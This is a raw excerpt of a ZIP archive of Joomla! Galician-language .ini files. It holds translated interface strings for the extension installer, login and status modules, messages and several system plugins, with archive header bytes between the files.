              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\ uu-language/gl-ES/gl-ES.plg_system_highlight.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT="Sistema - Realzar" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="Engadido de sistema para realzar os termos especificados." PK@y>\J,language/gl-ES/gl-ES.plg_system_redirect.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REDIRECT_XML_DESCRIPTION="O engadido de sistema redirixir permite a Joomla! capturar páxinas desaparecidas e redirixir aos usuarios. Evitando así as páxinas de erro." PLG_SYSTEM_REDIRECT="Sistema - Redirixir" PK@y>\I4language/gl-ES/gl-ES.plg_editors-xtd_article.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_ARTICLE_XML_DESCRIPTION="Amosa un botón que permite inserir ligazóns de artigos dentro dun artigo. Amosa unha xanela emerxente que permite escoller o artigo" PLG_EDITORS-XTD_ARTICLE="Botón - Artigo" PK@y>\u"language/gl-ES/gl-ES.mod_login.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN="Formulario de identificación" MOD_LOGIN_FIELD_USESECURE_DESC="Enviar os datos da identificación cifrados (require SSL). Non active esta opción se o Joomla non é accesible a través do protocolo https://." MOD_LOGIN_FIELD_USESECURE_LABEL="Cifrar formulario de identificación" MOD_LOGIN_LANGUAGE="Idioma" MOD_LOGIN_LOGIN="Identificarse" MOD_LOGIN_XML_DESCRIPTION="Este módulo amosa un formulario de datos de identificación o cal permite inserir o nome de usuario e a clave. Non é posíbel despublicar." PK@y>\r]#language/gl-ES/gl-ES.mod_status.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_STATUS="Estado de usuario" MOD_STATUS_BACKEND_USERS="%s Admins" MOD_STATUS_BACKEND_USERS_1="%s Admin" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_DESC="Amosa o número de usuarios identificados no panel de administración" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_LABEL="Amosar os usuarios identificados na administración" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_DESC="Amosa o número de usuarios identificados na portada e no panel de administración" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_LABEL="Amosar usuarios conectados" MOD_STATUS_FIELD_SHOW_MESSAGES_DESC="Amosar/Agochar o número de mensaxes na bandexa de entrada do usuario actual" MOD_STATUS_FIELD_SHOW_MESSAGES_LABEL="Amosar mensaxes" MOD_STATUS_LOG_OUT="Saír ao anonimato" MOD_STATUS_MESSAGES="%d" MOD_STATUS_MESSAGES_0="%d" MOD_STATUS_MESSAGES_1="%d" MOD_STATUS_USERS="%s Visitors" MOD_STATUS_USERS_0="%s Visitors" MOD_STATUS_USERS_1="%s visitante" MOD_STATUS_XML_DESCRIPTION="Este módulo amosa o estado dos usuarios identificados." PK@y>\6vv*language/gl-ES/gl-ES.tpl_bluestork.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 BLUESTORK="Bluestork tema de administración" TPL_BLUESTORK_POSITION_CPANEL="Panel de administración" TPL_BLUESTORK_POSITION_CP_SHELL="Non usado" TPL_BLUESTORK_POSITION_DEBUG="Depurar" TPL_BLUESTORK_POSITION_FOOTER="Pé de páxina" TPL_BLUESTORK_POSITION_ICON="Iconas de acceso directo" TPL_BLUESTORK_POSITION_LOGIN="Identificarse" TPL_BLUESTORK_POSITION_MENU="Menú" TPL_BLUESTORK_POSITION_STATUS="Estado" TPL_BLUESTORK_POSITION_SUBMENU="Submenú" TPL_BLUESTORK_POSITION_TITLE="Título" TPL_BLUESTORK_POSITION_TOOLBAR="Barra de ferramentas" TPL_BLUESTORK_XML_DESCRIPTION="BlueStork é un tema para a área de administración do Joomla!." PK@y>\Nk/language/gl-ES/gl-ES.plg_content_loadmodule.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_LOADMODULE="Contido - Cargar módulos" PLG_LOADMODULE_FIELD_STYLE_DESC="O código que envolverá ao módulos" PLG_LOADMODULE_FIELD_STYLE_LABEL="Estilo" PLG_LOADMODULE_FIELD_VALUE_DIVS="Envolvido por elementos DIV" PLG_LOADMODULE_FIELD_VALUE_HORIZONTAL="Envolvido por táboa (horizontal)" PLG_LOADMODULE_FIELD_VALUE_MULTIPLEDIVS="Envolvido por múltiples elementos DIV" PLG_LOADMODULE_FIELD_VALUE_RAW="Non envolver (saída en bruto)" PLG_LOADMODULE_FIELD_VALUE_TABLE="Envolvido por táboa (columna)" PLG_LOADMODULE_XML_DESCRIPTION="Carga as posicións de módulo dentro dun artigo, sintaxe: {loadposition user1} ou Módulos por nome, sintaxe: {loadmodule mod_login}. Opcionalmente pode especificar un estilo de módulo e para 'loadmodule' un titulo específico." PK@y>\W.-language/gl-ES/gl-ES.plg_finder_newsfeeds.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Busca intelixente - Semente de novas" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="Este engadido indexa as sementes de novas Joomla!" PLG_FINDER_QUERY_FILTER_BRANCH_S_NEWS_FEED="Semente de novas" PLG_FINDER_QUERY_FILTER_BRANCH_P_NEWS_FEED="Sementes de novas" PK@y>\k/language/gl-ES/gl-ES.plg_content_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_JOOMLA="Contido - Joomla!" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Fai o procesamento de categorías para as extensións do núcleo, envía un correo cando se entrega un novo artigo na portada." PK@y>\VXXEE&language/gl-ES/gl-ES.com_installer.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_INSTALLER="Xestor de instalación" COM_INSTALLER_AUTHOR_INFORMATION="Información de autor" COM_INSTALLER_CONFIGURATION="Configuración do instalador" COM_INSTALLER_ENABLED_UPDATES_1=", 1 sitio que estaba desactivado foi activado" COM_INSTALLER_ENABLED_UPDATES_MORE=", %s sitios desactivados foron activados" COM_INSTALLER_ERROR_DISABLE_DEFAULT_TEMPLATE_NOT_PERMITTED="Non é posíbel desactiva o tema por defecto" COM_INSTALLER_ERROR_METHOD="Método non implementado" COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED="Non escolleu extensións" COM_INSTALLER_EXTENSION_DISABLE="Desactivar a extensión" COM_INSTALLER_EXTENSION_DISABLED="Extensión desactivada" COM_INSTALLER_EXTENSION_ENABLE="Activar a extensión" COM_INSTALLER_EXTENSION_ENABLED="Extensión activada" COM_INSTALLER_EXTENSION_PROTECTED="Extensión protexida" COM_INSTALLER_EXTENSION_PUBLISHED="A extensión foi activada con éxito." COM_INSTALLER_EXTENSION_UNPUBLISHED="A extensión foi desactivada con éxito." COM_INSTALLER_FAILED_TO_ENABLE_UPDATES=", produciuse un erro ao activar as actualizacións" COM_INSTALLER_FAILED_TO_PURGE_UPDATES="Produciuse un fallo ao purgar as actualizacións" COM_INSTALLER_HEADER_DATABASE="Xestor de extensión: comprobar a base de datos" COM_INSTALLER_HEADER_DISCOVER="Administrador de extensións: Descubrir" COM_INSTALLER_HEADER_INSTALL="Xestor de extensións: Instalar" COM_INSTALLER_HEADER_MANAGE="Xestor de extensións: Xestionar" COM_INSTALLER_HEADER_UPDATE="Xestor de extensións: Actualizar" COM_INSTALLER_HEADER_WARNINGS="Xestor de extensións: Avisos" COM_INSTALLER_HEADING_CLIENT="Cliente" COM_INSTALLER_HEADING_LOCATION="Localización" COM_INSTALLER_HEADING_DETAILSURL="Detalles da URL" COM_INSTALLER_HEADING_FOLDER="Cartafol" COM_INSTALLER_HEADING_ID="ID" COM_INSTALLER_HEADING_INSTALLTYPE="Tipo de instalación" COM_INSTALLER_HEADING_NAME="Nome" COM_INSTALLER_HEADING_TYPE="Tipo" COM_INSTALLER_INSTALL_BUTTON="Instalar" COM_INSTALLER_INSTALL_DIRECTORY="Cartafol de instalación" COM_INSTALLER_INSTALL_ERROR="Erro ao instalar %s" COM_INSTALLER_INSTALL_FROM_DIRECTORY="Instalar desde o cartafol" COM_INSTALLER_INSTALL_FROM_URL="Instalar desde a URL" COM_INSTALLER_INSTALL_SUCCESS="A instalación de %s realizouse con éxito." COM_INSTALLER_INSTALL_URL="URL de instalación" COM_INSTALLER_INVALID_EXTENSION_UPDATE="A actualización da extensión non é válida " COM_INSTALLER_LABEL_HIDEPROTECTED_DESC="Agochar as extensións protexidas. As extensión protexidas non permiten a desinstalación." COM_INSTALLER_LABEL_HIDEPROTECTED_LABEL="Agochar extensións protexidas" COM_INSTALLER_MSG_DESCFTP="Para a instalación ou desinstalación, Joomla! moi probablemente precise dos datos da súa conta FTP. Insíraos nos campos do seguinte formulario." COM_INSTALLER_MSG_DESCFTPTITLE="Datos de acceso FTP" COM_INSTALLER_MSG_DATABASE_CHECKED_OK="%s cambios na base de datos na base de datos foron comprobados con éxito." COM_INSTALLER_MSG_DATABASE_SKIPPED="%s cambios na base de datos non alteraron a estrutura das táboas polo que foron ignorados." COM_INSTALLER_MSG_DATABASE_DRIVER="Controlador da base de datos: %s." COM_INSTALLER_MSG_DATABASE_SCHEMA_VERSION="Versión do esquema da base de datos (en #__schemas): %s." COM_INSTALLER_MSG_DATABASE_UPDATE_VERSION="Versión da actualización (en #__extensions): %s." COM_INSTALLER_MSG_DATABASE_OK="A estrutura das táboas da base de datos está ao día." COM_INSTALLER_MSG_DATABASE="Esta pantalla permite comprobar se a estrutura das táboas da base de datos está ao día en relación con cambios de versións anteriores." COM_INSTALLER_MSG_DATABASE_ERRORS="Aviso: a base de datos non está ao día!" COM_INSTALLER_MSG_DATABASE_CHANGE_COLUMN_TYPE="A táboa %2$s non ten a columna %3$s co tipo %4$s (do ficheiro %1$s)." COM_INSTALLER_MSG_DATABASE_CREATE_TABLE="A táboa %2$s non existe (do ficheiro %1$s)." COM_INSTALLER_MSG_DATABASE_ADD_COLUMN="A táboa %2$s non ten a columna %3$s (do ficheiro %1$s)." COM_INSTALLER_MSG_DATABASE_ADD_INDEX="A táboa %2$s non ten o índice %3$s (do ficheiro %1$s)." COM_INSTALLER_MSG_DATABASE_DROP_INDEX="A táboa %2$s non debería ten o índice %3$s (do ficheiro %1$s)." COM_INSTALLER_MSG_DATABASE_FILTER_ERROR="Non foron atopados filtros de texto." COM_INSTALLER_MSG_DATABASE_UPDATEVERSION_ERROR="A versión de actualización da base de datos (%s) non coincide coa versión do CMS (%s)." COM_INSTALLER_MSG_DATABASE_INFO="Outra información" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL="Foron atopados %d problemas na base de datos" COM_INSTALLER_MSG_N_DATABASE_ERROR_PANEL_1="Foi atopado 1 problema na base de datos" COM_INSTALLER_MSG_DATABASE_SCHEMA_ERROR="A versión do esquema da base de datos (%s) non coincide coa versión do CMS (%s)." COM_INSTALLER_MSG_DISCOVER_DESCRIPTION="Esta pantalla permite descubrir extensións que non pasaron polo proceso de instalación normal.
              Por exemplo, algunhas extensións son moi grandes en tamaño de ficheiro para enviar empregando a interface web debido ás limitacións do entorno do aloxamento web. Con esta función pode subir arquivos de extensións directamente ao seu servidor web mediante outros medios tales como FTP ou SFTP e por os arquivos de extensión no directorio correspondente.
              A continuación pode empregar a función de descubrir para detectar a nova extensión enviada e activala no seu Joomla!.
              Coa operación de busca tamén é posíbel instalar varias extensións ao mesmo tempo." COM_INSTALLER_MSG_DISCOVER_FAILEDTOPURGEEXTENSIONS="Fallou ao purgar as extensións" COM_INSTALLER_MSG_DISCOVER_INSTALLFAILED="Erro de instalación en modo 'descubrir'" COM_INSTALLER_MSG_DISCOVER_INSTALLSUCCESSFUL="Achadas instalacións con éxito" COM_INSTALLER_MSG_DISCOVER_NOEXTENSION="Non se achou ningunha extensión. Prema para atopar nova extensións que puideran estar dispoñíbeis para instalar." COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED="Ningunha extensión seleccionada" COM_INSTALLER_MSG_DISCOVER_PURGEDDISCOVEREDEXTENSIONS="Extensións atopadas purgadas" COM_INSTALLER_MSG_INSTALL_ENTER_A_URL="Insira o URL" COM_INSTALLER_MSG_INSTALL_INVALID_URL="O URL non é válido" COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED="Ningún ficheiro seleccionado" COM_INSTALLER_MSG_INSTALL_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE="A ruta non ten un paquete válido." COM_INSTALLER_MSG_INSTALL_PLEASE_ENTER_A_PACKAGE_DIRECTORY="Insira un cartafol de paquetes" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_DIRECTORY="Escolla un directorio" COM_INSTALLER_MSG_INSTALL_PLEASE_SELECT_A_PACKAGE="Seleccione a localización do paquete" COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE="O instalador non pode continuar até que active o envío de ficheiros no servidor." COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR="Produciuse un erro ao enviar este ficheiro ao servidor." COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB="O instalador non pode continuar até que instale a biblioteca Zlib." COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_MANIFEST="O instalador non pode obter o URL do ficheiro XML co manifesto do idioma %s." COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_PACKAGE="O instalador non pode obter o URL do idioma remoto %s." COM_INSTALLER_MSG_LANGUAGES_TRY_LATER="Inténteo novamente máis tarde ou contacte co cordinador do equipo do idioma" COM_INSTALLER_MSG_MANAGE_NOEXTENSION="Non hai extensión instaladas que concorden coa consulta" COM_INSTALLER_MSG_UPDATE_ERROR="Produciuse un erro ao actualizar %s." COM_INSTALLER_MSG_UPDATE_NODESC="Ningunha descrición dispoñíbel para este elemento." COM_INSTALLER_MSG_UPDATE_NOUPDATES="Non hai actualizacións dispoñíbeis polo momento. Comprobe novamente máis tarde." COM_INSTALLER_MSG_UPDATE_SUCCESS="Actualización con éxito de %s." COM_INSTALLER_MSG_UPDATE_UPDATE="Actualizar" COM_INSTALLER_MSG_WARNINGS_FILEUPLOADSDISABLED="Envío de ficheiros desactivado" COM_INSTALLER_MSG_WARNINGS_FILEUPLOADISDISABLEDDESC="O envío de ficheiros é requirido para a carga de extensión no instalador." COM_INSTALLER_MSG_WARNINGFURTHERINFO="Informacións complementarias sobre avisos" COM_INSTALLER_MSG_WARNINGFURTHERINFODESC="Para obter máis información sobre os avisos, vexa a Documentación do sitio Joomla!" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSET="O cartafol temporal de Joomla! non está estabelecido" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSETDESC="O cartafol temporal é onde Joomla! copia as extensións, extrae e copia os ficheiros nos cartafoles correspondentes. Se esta configuración non está estabelecida no ficheiro configuration.php ($tmp_path), non poderá enviar as extensións. Para solucionar esta cuestión cree un cartafol con permiso de escritura para Joomla!. " COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLE="O cartafol temporal de Joomla! non permite a escritura ou non existe" COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLEDESC="Joomla! non pode escribir no cartafol temporal, ou non existe, o que pode causar problemas ao intentar enviar extensións a Joomla!. Se está a experimentar problemas no envío de extensións, asegúrese de que o cartafol definido no seu ficheiro configuration.php existe ou comprobe o '%s' e estableza permiso de escritura e mire se isto soluciona o problema." COM_INSTALLER_MSG_WARNINGS_LOWMEMORYDESC="O límite de memoria para o PHP é baixo" COM_INSTALLER_MSG_WARNINGS_LOWMEMORYWARN="O límite de memoria para o PHP está estabelecido por debaixo de 8MB o que pode causar problemas cando instala extensións grandes. Estableza o límite de memoria con polo menos de 16MB." COM_INSTALLER_MSG_WARNINGS_MEDMEMORYDESC="O límite de memoria PHP é potencialmente baixo" COM_INSTALLER_MSG_WARNINGS_MEDMEMORYWARN="O límite de memoria para o PHP está estabelecido por debaixo de 16MB o que pode causar problemas cando instala extensións grandes. Estableza o límite de memoria con polo menos de 16MB." COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZE="Tamaño máximo de envío POST demasiado baixo" COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZEDESC="O tamaño máximo de datos que poden ser enviados ao servidor a traveso da función POST. Isto inclúe Os formularios de envío de artigos, os medios (imaxe e vídeo) e as extensións. Este valor é menos de 2MB o que pode incidir sobre o envío de grandes extensións. Estableza isto na variábel 'post_max_size' do ficheiro php.ini no servidor." COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE="O tamaño máximo de envío de ficheiros é demasiado baixo" COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZEDESC="O tamaño máximo de envío de ficheiros está estabelecido por debaixo de 2MB o que pode incidir no envío de extensións grandes." COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOST="Tamaño máximo de envío de ficheiros máis grande que o tamaño de POST" COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOSTDESC="O valor de 'upload_max_filesize' no ficheiro php.ini do servidor é maior que o da variábel 'post_max_size'. A variábel 'post_max_size' ten prioridade sobre o tamaño máximo e bloquea solicitudes maiores que o valor indicado. Isto é equivalente a unha mala configuración do servidor. Incremente o valor de 'upload_max_filesize' polo menos até o da variábel 'post_max_size' ou viceversa" COM_INSTALLER_MSG_WARNINGS_NONE="Non se detectou ningún aviso" COM_INSTALLER_MSG_WARNINGS_NOTCOMPLETE="

              Aviso: a actualización non se completou!

              A actualización foi só parcial. Efectúe a segunda actualización para concluír o proceso.

              " COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET="O cartafol temporal de PHP non está estabelecido" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSETDESC="O cartafol temporal de PHP é o cartafol que PHP emprega para almacenar os ficheiros enviados antes de que Joomla! poida acceder aos mesmos. Que non estea estabelecido o cartafol non ten porque ser un problema, se está a ter problemas co manifesto dos ficheiros, que non se detectan ao ser cargados, estabelecer isto no ficheiro php.ini podería solucionar o problema." COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLE="O cartafol temporal do PHP non permite a escritura" COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLEDESC="O cartafol temporal do PHP non permite a escritura a Joomla!, o que pode provocar problemas ao intentar enviar as extensións de Joomla!. Se está a ter problemas no envío de extensións, comprobe o '%s' e estabelézao como escribíbel, logo comprobe se isto soluciona o problema." COM_INSTALLER_N_EXTENSIONS_PUBLISHED="%d extensións activadas con éxito." COM_INSTALLER_N_EXTENSIONS_PUBLISHED_1="%d extensión activada con éxito." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED="%d extensións desactivadas con éxito." COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED_1="%d extensión despublicada con éxito." COM_INSTALLER_NEW_INSTALL="Nova instalación" COM_INSTALLER_NO_INSTALL_TYPE_FOUND="Non se atopou o tipo de instalación" COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED="Fallou a descarga do paquete: %s" COM_INSTALLER_PACKAGE_FILE="Ficheiro empaquetado" COM_INSTALLER_PURGED_UPDATES="Purgar actualizacións" COM_INSTALLER_SUBMENU_DATABASE="Base de datos" COM_INSTALLER_SUBMENU_DISCOVER="Descubrir" COM_INSTALLER_SUBMENU_INSTALL="Instalar" COM_INSTALLER_SUBMENU_MANAGE="Xestionar" COM_INSTALLER_SUBMENU_UPDATE="Actualizar" COM_INSTALLER_SUBMENU_WARNINGS="Avisos" COM_INSTALLER_TITLE_DATABASE="Xestor de extensións - Base de datos" COM_INSTALLER_TITLE_DISCOVER="Xestor de extensións - Descubrir" COM_INSTALLER_TITLE_INSTALL="Xestor de instalacións - Instalar" COM_INSTALLER_TITLE_LANGUAGES="Xestor de instalacións - Instalar idiomas" COM_INSTALLER_TITLE_MANAGE="Xestor de extensións - Xestionar" COM_INSTALLER_TITLE_UPDATE="Xestor de extensións - Actualizar" COM_INSTALLER_TITLE_WARNINGS="Xestor de de extensións - Avisos" COM_INSTALLER_TOOLBAR_DISCOVER="Descubrir" COM_INSTALLER_TOOLBAR_FIND_UPDATES="Buscar actualizacións" COM_INSTALLER_TOOLBAR_UPDATE="Actualizar" COM_INSTALLER_TOOLBAR_DATABASE_FIX="Arranxar" COM_INSTALLER_TYPE_CLIENT="Localización" COM_INSTALLER_TYPE_COMPONENT="Compoñente" COM_INSTALLER_TYPE_FILE="Ficheiro" COM_INSTALLER_TYPE_LANGUAGE="Idioma" COM_INSTALLER_TYPE_LIBRARY="Biblioteca" COM_INSTALLER_TYPE_MODULE="Módulo" COM_INSTALLER_TYPE_NONAPPLICABLE="N/A" COM_INSTALLER_TYPE_PACKAGE="Paquete" COM_INSTALLER_TYPE_PLUGIN="Engadido" COM_INSTALLER_TYPE_TEMPLATE="Tema" COM_INSTALLER_TYPE_TYPE_COMPONENT="compoñente" COM_INSTALLER_TYPE_TYPE_FILE="ficheiro" COM_INSTALLER_TYPE_TYPE_LANGUAGE="idioma" COM_INSTALLER_TYPE_TYPE_LIBRARY="biblioteca" COM_INSTALLER_TYPE_TYPE_MODULE="módulo" COM_INSTALLER_TYPE_TYPE_PACKAGE="paquete" COM_INSTALLER_TYPE_TYPE_PLUGIN="engadido" COM_INSTALLER_TYPE_TYPE_TEMPLATE="tema" COM_INSTALLER_UNABLE_TO_FIND_INSTALL_PACKAGE="Non foi posíbel atopar o paquete de instalación" COM_INSTALLER_UNINSTALL_ERROR="Erro na desinstalación %s." COM_INSTALLER_UNINSTALL_SUCCESS="Realizouse con éxito a desinstalación de %s." COM_INSTALLER_UPLOAD_AND_INSTALL="Enviar e instalar" COM_INSTALLER_UPLOAD_PACKAGE_FILE="Enviar ficheiro do paquete" COM_INSTALLER_VALUE_CLIENT_SELECT="- Escoller localización -" COM_INSTALLER_VALUE_FOLDER_NONAPPLICABLE="N/A" COM_INSTALLER_VALUE_FOLDER_SELECT="- Escoller cartarfol -" COM_INSTALLER_VALUE_STATE_SELECT="- Seleccionar estado -" COM_INSTALLER_VALUE_TYPE_SELECT="- Escoller tipo -" COM_INSTALLER_XML_DESCRIPTION="Instalador de compoñentes para engadir, borrar e actualizar extensións" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." COM_INSTALLER_PREFERENCES_LABEL="Preferencias" COM_INSTALLER_PREFERENCES_DESCRIPTION="Afinar o modo de funcionamento da instalación de extensións e actualizacións" COM_INSTALLER_CACHETIMEOUT_LABEL="Caché de actualizacións (en horas)" COM_INSTALLER_CACHETIMEOUT_DESC="Durante cantas horas debe manter o Joomla! a caché de información sobre a actualización das extensións" COM_INSTALLER_SUBMENU_LANGUAGES="Instalar idiomas" COM_INSTALLER_TOOLBAR_INSTALL="Instalar" COM_INSTALLER_TOOLBAR_FIND_LANGUAGES="Buscar idiomas" COM_INSTALLER_LANGUAGES_AVAILABLE_LANGUAGES="Idiomas dispoñíbeis" COM_INSTALLER_HEADER_LANGUAGES="Instalar traducións de idioma acreditados" COM_INSTALLER_HEADING_DETAILS_URL="Detalles URL" COM_INSTALLER_MSG_LANGUAGES_NOLANGUAGES="De momento, non hai idiomas dispoñíbeis para instalar. Prema nos botóns "Purgar caché" e "Atopar idiomas" para comprobar actualizacións no servidor de idiomas Joomla!. Precisará dunha conexión á rede para que isto funcione." COM_INSTALLER_LANGUAGES_FILTER_SEARCH_DESC="Buscar por nome de idioma." PK@y>\OمQQ0language/gl-ES/gl-ES.plg_system_remember.sys.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REMEMBER_XML_DESCRIPTION="Fornece a funcionalidade de recordatorio" PLG_SYSTEM_REMEMBER="Sistema - Recordatorio" PK@y>\-language/gl-ES/gl-ES.plg_system_debug.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_DEBUG_XML_DESCRIPTION="Este engadido fornece diversa información do sistema así como asistencia para a creación de ficheiros de tradución." PLG_SYSTEM_DEBUG="Sistema - Depurar" PK@y>\@KK(language/gl-ES/gl-ES.com_wrapper.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WRAPPER="Envoltorio" COM_WRAPPER_XML_DESCRIPTION="Amosa un marco incrustado para envolver unha páxina externa ou un sitio dentro do Joomla!" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC="Amosa un URL nun marco incrustado" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_OPTION="Predeterminado" COM_WRAPPER_WRAPPER_VIEW_DEFAULT_TITLE="Envoltorio de marco incrustado" PK@y>\Oxx&language/gl-ES/gl-ES.com_admin.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIN="Administración - Informacións do sistema" COM_ADMIN_XML_DESCRIPTION="Compoñente de administración - Informacións do sistema" PK@y>\Maa-language/gl-ES/gl-ES.plg_system_cache.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CACHE_XML_DESCRIPTION="Funcionalidade que permite o uso da caché de páxina" PLG_SYSTEM_CACHE="Sistema - Caché" PK@y>\~%language/gl-ES/gl-ES.com_messages.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MESSAGES="Mensaxes" COM_MESSAGES_ADD="Nova mensaxe privada" COM_MESSAGES_CONFIG_SAVED="A configuración gardouse con éxito" COM_MESSAGES_CONFIGURATION="Configuración de mensaxes" COM_MESSAGES_ERR_INVALID_USER="Usuario non válido" COM_MESSAGES_ERR_SEND_FAILED="O usuario bloqueou a súa caixa do correo. A mensaxe fallou." COM_MESSAGES_ERROR_INVALID_FROM_USER="Remitente non válido" COM_MESSAGES_ERROR_INVALID_MESSAGE="Contido da mensaxe non válida" COM_MESSAGES_ERROR_INVALID_SUBJECT="Asunto non válido" COM_MESSAGES_ERROR_INVALID_TO_USER="Destinatario non válido" COM_MESSAGES_FIELD_AUTO_PURGE_DESC="Purgar automaticamente as mensaxes privadas despois do número de días estabelecidos." COM_MESSAGES_FIELD_AUTO_PURGE_LABEL="Auto-purgar mensaxes (días)" COM_MESSAGES_FIELD_DATE_TIME_LABEL="Enviada" COM_MESSAGES_FIELD_LOCK_DESC="Bloquear a caixa de entrada privada." COM_MESSAGES_FIELD_LOCK_LABEL="Bloquear a caixa de entrada" COM_MESSAGES_FIELD_MAIL_ON_NEW_DESC="Envíeme un correo cando chegue unha nova mensaxe privada." COM_MESSAGES_FIELD_MAIL_ON_NEW_LABEL="Novas mensaxes de correo electrónico" COM_MESSAGES_FIELD_MESSAGE_DESC="Ten que inserir unha 